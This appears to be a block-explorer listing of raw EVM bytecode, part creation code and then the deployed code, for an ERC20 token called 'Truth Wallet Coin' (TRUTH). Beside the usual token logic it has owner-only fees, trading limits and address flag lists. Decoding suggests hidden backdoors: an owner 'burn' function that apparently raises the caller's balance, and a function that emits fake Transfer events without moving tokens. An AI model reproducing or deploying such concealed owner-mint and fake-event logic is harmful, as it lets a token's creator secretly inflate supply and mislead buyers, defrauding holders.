ffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161167d9190611eaa565b60405180910390a3505050565b6001601660156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156116c1576116c0612aeb565b5b6040519080825280602002602001820160405280156116ef5781602001602082028036833780820191505090505b50905030815f8151811061170657611705612373565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117ce9190612b2c565b816001815181106117e2576117e1612373565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506118483060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b01565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016118aa959493929190612c0e565b5f604051808303815f87803b1580156118c1575f80fd5b505af11580156118d3573d5f803e3d5ffd5b50505050505f601660156101000a81548160ff02191690831515021790555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611959573d5f803e3d5ffd5b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80611a28611c07565b90508091505090565b5f818311611a3f5782611a41565b815b905092915050565b5f80603290505f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205443611a99919061299c565b90505f8282611aa89190612332565b90505f60648211611ac557816064611ac0919061299c565b611ac7565b5f5b90505f60648289611ad89190612332565b611ae29190612c93565b905060055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611b5257611b465f82611ca790919063ffffffff16565b95505050505050611b5b565b87955050505050505b92915050565b5f611ba283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611488565b905092915050565b5f808284611bb89190612899565b905083811015611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf490612d0d565b60405180910390fd5b8091505092915050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c7f575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611ca2565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f81831015611cb65781611cb8565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611cf7578082015181840152602081019050611cdc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d1c82611cc0565b611d268185611cca565b9350611d36818560208601611cda565b611d3f81611d02565b840191505092915050565b5f6020820190508181035f830152611d628184611d12565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611d9b82611d72565b9050919050565b611dab81611d91565b8114611db5575f80fd5b50565b5f81359050611dc681611da2565b92915050565b5f60208284031215611de157611de0611d6a565b5b5f611dee84828501611db8565b91505092915050565b5f8115159050919050565b611e0b81611df7565b82525050565b5f602082019050611e245f830184611e02565b92915050565b5f819050919050565b611e3c81611e2a565b8114611e46575f80fd5b50565b5f81359050611e5781611e33565b92915050565b5f8060408385031215611e7357611e72611d6a565b5b5f611e8085828601611db8565b9250506020611e9185828601611e49565b9150509250929050565b611ea481611e2a565b82525050565b5f602082019050611ebd5f830184611e9b565b92915050565b5f805f60608486031215611eda57611ed9611d6a565b5b5f611ee786828701611db8565b9350506020611ef886828701611db8565b9250506040611f0986828701611e49565b9150509250925092565b5f60ff82169050919050565b611f2881611f13565b82525050565b5f602082019050611f415f830184611f1f565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611f6857611f67611f47565b5b8235905067ffffffffffffffff811115611f8557611f84611f4b565b5b602083019150836020820283011115611fa157611fa0611f4f565b5b9250929050565b5f805f8060608587031215611fc057611fbf611d6a565b5b5f85013567ffffffffffffffff811115611fdd57611fdc611d6e565b5b611fe987828801611f53565b94509450506020611ffc87828801611db8565b925050604061200d87828801611e49565b91505092959194509250565b5f6020828403121561202e5761202d611d6a565b5b5f61203b84828501611e49565b91505092915050565b61204d81611d91565b82525050565b5f6020820190506120665f830184612044565b92915050565b61207581611df7565b811461207f575f80fd5b50565b5f813590506120908161206c565b92915050565b5f805f604084860312156120ad576120ac611d6a565b5b5f84013567ffffffffffffffff8111156120ca576120c9611d6e565b5b6120d686828701611f53565b935093505060206120e986828701612082565b9150509250925092565b5f806040838503121561210957612108611d6a565b5b5f61211685828601611db8565b925050602061212785828601611db8565b9150509250929050565b5f819050919050565b5f819050919050565b5f61215d61215861215384612131565b61213a565b611e2a565b9050919050565b61216d81612143565b82525050565b5f6020820190506121865f830184612164565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561220e578086048111156121ea576121e961218c565b5b60018516156121f95780820291505b8081029050612207856121b9565b94506121ce565b94509492505050565b5f8261222657600190506122e1565b81612233575f90506122e1565b8160018114612249576002811461225357612282565b60019150506122e1565b60ff8411156122655761226461218c565b5b8360020a91508482111561227c5761227b61218c565b5b506122e1565b5060208310610133831016604e8410600b84101617156122b75782820a9050838111156122b2576122b161218c565b5b6122e1565b6122c484848460016121c5565b925090508184048111156122db576122da61218c565b5b81810290505b9392505050565b5f6122f282611e2a565b91506122fd83611f13565b925061232a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612217565b905092915050565b5f61233c82611e2a565b915061234783611e2a565b925082820261235581611e2a565b9150828204841483151761236c5761236b61218c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6123aa82611e2a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123dc576123db61218c565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612441602683611cca565b915061244c826123e7565b604082019050919050565b5f6020820190508181035f83015261246e81612435565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6124cf602483611cca565b91506124da82612475565b604082019050919050565b5f6020820190508181035f8301526124fc816124c3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61255d602283611cca565b915061256882612503565b604082019050919050565b5f6020820190508181035f83015261258a81612551565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6125c5602083611cca565b91506125d082612591565b602082019050919050565b5f6020820190508181035f8301526125f2816125b9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612653602583611cca565b915061265e826125f9565b604082019050919050565b5f6020820190508181035f83015261268081612647565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6126e1602383611cca565b91506126ec82612687565b604082019050919050565b5f6020820190508181035f83015261270e816126d5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61276f602983611cca565b915061277a82612715565b604082019050919050565b5f6020820190508181035f83015261279c81612763565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6127fd602683611cca565b9150612808826127a3565b604082019050919050565b5f6020820190508181035f83015261282a816127f1565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612865601983611cca565b915061287082612831565b602082019050919050565b5f6020820190508181035f83015261289281612859565b9050919050565b5f6128a382611e2a565b91506128ae83611e2a565b92508282019050808211156128c6576128c561218c565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612900601a83611cca565b915061290b826128cc565b602082019050919050565b5f6020820190508181035f83015261292d816128f4565b9050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f612968601783611cca565b915061297382612934565b602082019050919050565b5f6020820190508181035f8301526129958161295c565b9050919050565b5f6129a682611e2a565b91506129b183611e2a565b92508282039050818111156129c9576129c861218c565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a29602183611cca565b9150612a34826129cf565b604082019050919050565b5f6020820190508181035f830152612a5681612a1d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ab7602283611cca565b9150612ac282612a5d565b604082019050919050565b5f6020820190508181035f830152612ae481612aab565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050612b2681611da2565b92915050565b5f60208284031215612b4157612b40611d6a565b5b5f612b4e84828501612b18565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612b8981611d91565b82525050565b5f612b9a8383612b80565b60208301905092915050565b5f602082019050919050565b5f612bbc82612b57565b612bc68185612b61565b9350612bd183612b71565b805f5b83811015612c01578151612be88882612b8f565b9750612bf383612ba6565b925050600181019050612bd4565b5085935050505092915050565b5f60a082019050612c215f830188611e9b565b612c2e6020830187612164565b8181036040830152612c408186612bb2565b9050612c4f6060830185612044565b612c5c6080830184611e9b565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612c9d82611e2a565b9150612ca883611e2a565b925082612cb857612cb7612c66565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612cf7601b83611cca565b9150612d0282612cc3565b602082019050919050565b5f6020820190508181035f830152612d2481612ceb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220081e4c37e4ad569fd18a2abd8c87a4798b5e8ca8129e4527e5b892104638845164736f6c63430008140033000000000000000000000000bf0e9bc65259d9d43e6204357bbed76bca0886a2
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610171575f3560e01c8063715018a6116100dc57806395d89b4111610095578063bf474bed1161006f578063bf474bed146103ed578063dd62ed3e1461040b578063f2fde38b1461043b578063f42938901461045757610171565b806395d89b4114610383578063a746223f146103a1578063a9059cbb146103bd57610171565b8063715018a6146102f9578063751039fc1461030357806376b2fa711461030d5780637d1db4a5146103295780638da5cb5b146103475780638f9a55c01461036557610171565b806323b872dd1161012e57806323b872dd14610239578063313ce567146102695780633a61363a1461028757806342966c68146102a357806351bc3c85146102bf57806370a08231146102c957610171565b806306fdde03146101755780630711c9cd14610193578063095ea7b3146101c35780630faee56f146101f3578063109daa991461021157806318160ddd1461021b575b5f80fd5b61017d610461565b60405161018a9190611d4a565b60405180910390f35b6101ad60048036038101906101a89190611dcc565b61049e565b6040516101ba9190611e11565b60405180910390f35b6101dd60048036038101906101d89190611e5d565b6104f0565b6040516101ea9190611e11565b60405180910390f35b6101fb61050d565b6040516102089190611eaa565b60405180910390f35b610219610513565b005b61022361055b565b6040516102309190611eaa565b60405180910390f35b610253600480360381019061024e9190611ec3565b61057e565b6040516102609190611e11565b60405180910390f35b610271610652565b60405161027e9190611f2e565b60405180910390f35b6102a1600480360381019061029c9190611fa8565b61065a565b005b6102bd60048036038101906102b89190612019565b610715565b005b6102c7610731565b005b6102e360048036038101906102de9190611dcc565b610771565b6040516102f09190611eaa565b60405180910390f35b6103016107b7565b005b61030b6107ca565b005b61032760048036038101906103229190612019565b61086d565b005b6103316108a2565b60405161033e9190611eaa565b60405180910390f35b61034f6108a8565b60405161035c9190612053565b60405180910390f35b61036d6108cf565b60405161037a9190611eaa565b60405180910390f35b61038b6108d5565b6040516103989190611d4a565b60405180910390f35b6103bb60048036038101906103b69190612096565b610912565b005b6103d760048036038101906103d29190611e5d565b6109bb565b6040516103e49190611e11565b60405180910390f35b6103f56109d8565b6040516104029190611eaa565b60405180910390f35b610425600480360381019061042091906120f3565b6109de565b6040516104329190611eaa565b60405180910390f35b61045560048036038101906104509190611dcc565b610a60565b005b61045f610ae2565b005b60606040518060400160405280601181526020017f54727574682057616c6c657420436f696e000000000000000000000000000000815250905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f6105036104fc610afa565b8484610b01565b6001905092915050565b60145481565b61051b610cc4565b5f600d819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516105519190612173565b60405180910390a1565b5f6009600a61056a91906122e8565b6305f5e1006105799190612332565b905090565b5f61058a848484610d42565b61064784610596610afa565b61064285604051806060016040528060288152602001612d2c6028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105f9610afa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114889092919063ffffffff16565b610b01565b600190509392505050565b5f6009905090565b610662610cc4565b5f5b8484905081101561070e5784848281811061068257610681612373565b5b90506020020160208101906106979190611dcc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106f39190611eaa565b60405180910390a38080610706906123a0565b915050610664565b5050505050565b61071d610cc4565b61072e610728610afa565b826114ea565b50565b610739610cc4565b5f61074330610771565b90505f811115610757576107568161168a565b5b5f4790505f81111561076d5761076c816118f5565b5b5050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107bf610cc4565b6107c85f61195d565b565b6107d2610cc4565b6009600a6107e091906122e8565b6305f5e1006107ef9190612332565b6013819055506009600a61080391906122e8565b6305f5e1006108129190612332565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61084791906122e8565b6305f5e1006108569190612332565b6040516108639190611eaa565b60405180910390a1565b610875610cc4565b600a54811115801561088957506009548111155b610891575f80fd5b80600a819055508060098190555050565b60135481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f5452555448000000000000000000000000000000000000000000000000000000815250905090565b61091a610cc4565b5f5b838390508110156109b5578160055f86868581811061093e5761093d612373565b5b90506020020160208101906109539190611dcc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806109ad906123a0565b91505061091c565b50505050565b5f6109ce6109c7610afa565b8484610d42565b6001905092915050565b60155481565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a68610cc4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd90612457565b60405180910390fd5b610adf8161195d565b50565b610aea610cc4565b5f479050610af7816118f5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b66906124e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd490612573565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cb79190611eaa565b60405180910390a3505050565b610ccc610afa565b73ffffffffffffffffffffffffffffffffffffffff16610cea611a1e565b73ffffffffffffffffffffffffffffffffffffffff1614610d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d37906125db565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da790612669565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e15906126f7565b60405180910390fd5b5f8111610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5790612785565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115610ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed790612813565b60405180910390fd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610f67574360035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b610f6f6108a8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fdd5750610fad6108a8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f05760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561108b575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110de575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561119857601354811115611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f9061287b565b60405180910390fd5b6012548161113584610771565b61113f9190612899565b1115611180576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117790612916565b60405180910390fd5b60105f815480929190611192906123a0565b91905055505b5f6111a230610771565b9050601660159054906101000a900460ff1615801561120d575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611223575060168054906101000a900460ff165b8015611230575060155481115b801561123f5750601154601054115b156112ee57600e54431115611256575f600f819055505b6003600f541061129b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112929061297e565b60405180910390fd5b6112b86112b3836112ae84601454611a31565b611a31565b61168a565b5f4790505f8111156112ce576112cd476118f5565b5b600f5f8154809291906112e0906123a0565b919050555043600e81905550505b505b6112fa8184611a49565b905061134c8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b6190919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113dd8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611baa90919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161147b9190611eaa565b60405180910390a3505050565b5f8383111582906114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c69190611d4a565b60405180910390fd5b505f83856114dd919061299c565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90612a3f565b60405180910390fd5b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818111156115dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d390612acd565b60405180910390fd5b81810160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161167d9190611eaa565b60405180910390a3505050565b6001601660156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156116c1576116c0612aeb565b5b6040519080825280602002602001820160405280156116ef5781602001602082028036833780820191505090505b50905030815f8151811061170657611705612373565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117ce9190612b2c565b816001815181106117e2576117e1612373565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506118483060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b01565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016118aa959493929190612c0e565b5f604051808303815f87803b1580156118c1575f80fd5b505af11580156118d3573d5f803e3d5ffd5b50505050505f601660156101000a81548160ff02191690831515021790555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611959573d5f803e3d5ffd5b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80611a28611c07565b90508091505090565b5f818311611a3f5782611a41565b815b905092915050565b5f80603290505f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205443611a99919061299c565b90505f8282611aa89190612332565b90505f60648211611ac557816064611ac0919061299c565b611ac7565b5f5b90505f60648289611ad89190612332565b611ae29190612c93565b905060055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611b5257611b465f82611ca790919063ffffffff16565b95505050505050611b5b565b87955050505050505b92915050565b5f611ba283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611488565b905092915050565b5f808284611bb89190612899565b905083811015611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf490612d0d565b60405180910390fd5b8091505092915050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c7f575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611ca2565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f81831015611cb65781611cb8565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611cf7578082015181840152602081019050611cdc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d1c82611cc0565b611d268185611cca565b9350611d36818560208601611cda565b611d3f81611d02565b840191505092915050565b5f6020820190508181035f830152611d628184611d12565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611d9b82611d72565b9050919050565b611dab81611d91565b8114611db5575f80fd5b50565b5f81359050611dc681611da2565b92915050565b5f60208284031215611de157611de0611d6a565b5b5f611dee84828501611db8565b91505092915050565b5f8115159050919050565b611e0b81611df7565b82525050565b5f602082019050611e245f830184611e02565b92915050565b5f819050919050565b611e3c81611e2a565b8114611e46575f80fd5b50565b5f81359050611e5781611e33565b92915050565b5f8060408385031215611e7357611e72611d6a565b5b5f611e8085828601611db8565b9250506020611e9185828601611e49565b9150509250929050565b611ea481611e2a565b82525050565b5f602082019050611ebd5f830184611e9b565b92915050565b5f805f60608486031215611eda57611ed9611d6a565b5b5f611ee786828701611db8565b9350506020611ef886828701611db8565b9250506040611f0986828701611e49565b9150509250925092565b5f60ff82169050919050565b611f2881611f13565b82525050565b5f602082019050611f415f830184611f1f565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611f6857611f67611f47565b5b8235905067ffffffffffffffff811115611f8557611f84611f4b565b5b602083019150836020820283011115611fa157611fa0611f4f565b5b9250929050565b5f805f8060608587031215611fc057611fbf611d6a565b5b5f85013567ffffffffffffffff811115611fdd57611fdc611d6e565b5b611fe987828801611f53565b94509450506020611ffc87828801611db8565b925050604061200d87828801611e49565b91505092959194509250565b5f6020828403121561202e5761202d611d6a565b5b5f61203b84828501611e49565b91505092915050565b61204d81611d91565b82525050565b5f6020820190506120665f830184612044565b92915050565b61207581611df7565b811461207f575f80fd5b50565b5f813590506120908161206c565b92915050565b5f805f604084860312156120ad576120ac611d6a565b5b5f84013567ffffffffffffffff8111156120ca576120c9611d6e565b5b6120d686828701611f53565b935093505060206120e986828701612082565b9150509250925092565b5f806040838503121561210957612108611d6a565b5b5f61211685828601611db8565b925050602061212785828601611db8565b9150509250929050565b5f819050919050565b5f819050919050565b5f61215d61215861215384612131565b61213a565b611e2a565b9050919050565b61216d81612143565b82525050565b5f6020820190506121865f830184612164565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561220e578086048111156121ea576121e961218c565b5b60018516156121f95780820291505b8081029050612207856121b9565b94506121ce565b94509492505050565b5f8261222657600190506122e1565b81612233575f90506122e1565b8160018114612249576002811461225357612282565b60019150506122e1565b60ff8411156122655761226461218c565b5b8360020a91508482111561227c5761227b61218c565b5b506122e1565b5060208310610133831016604e8410600b84101617156122b75782820a9050838111156122b2576122b161218c565b5b6122e1565b6122c484848460016121c5565b925090508184048111156122db576122da61218c565b5b81810290505b9392505050565b5f6122f282611e2a565b91506122fd83611f13565b925061232a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612217565b905092915050565b5f61233c82611e2a565b915061234783611e2a565b925082820261235581611e2a565b9150828204841483151761236c5761236b61218c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6123aa82611e2a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123dc576123db61218c565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612441602683611cca565b915061244c826123e7565b604082019050919050565b5f6020820190508181035f83015261246e81612435565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6124cf602483611cca565b91506124da82612475565b604082019050919050565b5f6020820190508181035f8301526124fc816124c3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61255d602283611cca565b915061256882612503565b604082019050919050565b5f6020820190508181035f83015261258a81612551565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6125c5602083611cca565b91506125d082612591565b602082019050919050565b5f6020820190508181035f8301526125f2816125b9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612653602583611cca565b915061265e826125f9565b604082019050919050565b5f6020820190508181035f83015261268081612647565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6126e1602383611cca565b91506126ec82612687565b604082019050919050565b5f6020820190508181035f83015261270e816126d5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f000000000000000000000000000000000000000000